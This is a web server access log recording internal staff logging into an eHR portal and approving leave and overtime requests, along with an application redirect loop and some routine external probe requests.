100.64.0.1 - - [03/Sep/2025:16:08:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:16:15:01 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:15:01 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:15:45 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:15:45 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:16:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:16:46 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:18:18 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:18:18 +0800] "GET / HTTP/1.0" 200 439
192.168.40.39 - - [03/Sep/2025:16:21:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [03/Sep/2025:16:21:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:22:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:22:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:16:22:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [03/Sep/2025:16:22:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:22:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351
192.168.40.39 - - [03/Sep/2025:16:22:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:22:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:22:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105
192.168.40.39 - - [03/Sep/2025:16:22:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:22:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998
100.64.0.1 - - [03/Sep/2025:16:23:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:23:46 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:24:55 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:24:55 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:26:14 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [03/Sep/2025:16:26:14 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439
192.168.40.39 - - [03/Sep/2025:16:30:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [03/Sep/2025:16:30:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:16:30:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [03/Sep/2025:16:30:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.40.39 - - [03/Sep/2025:16:30:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [03/Sep/2025:16:30:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:16:30:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [03/Sep/2025:16:30:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:16:30:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
100.64.0.1 - - [03/Sep/2025:16:30:47 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:30:47 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:31:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:31:14 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:33:10 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:33:10 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:35:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:16:35:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:16:36:32 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:36:32 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:37:55 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [03/Sep/2025:16:37:55 +0800] "\x03" 501 203
100.64.0.1 - - [03/Sep/2025:16:41:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:16:41:00 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:16:41:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:41:41 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:41:48 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:41:48 +0800] "GET / HTTP/1.0" 200 439
192.168.40.98 - - [03/Sep/2025:16:44:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.40.98 - - [03/Sep/2025:16:44:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.98 - - [03/Sep/2025:16:44:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.98 - - [03/Sep/2025:16:44:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399
192.168.40.98 - - [03/Sep/2025:16:44:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:16:44:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:16:44:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.40.98 - - [03/Sep/2025:16:44:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 122187
192.168.40.98 - - [03/Sep/2025:16:44:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 122187 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131055%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131055&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131055%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131055&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
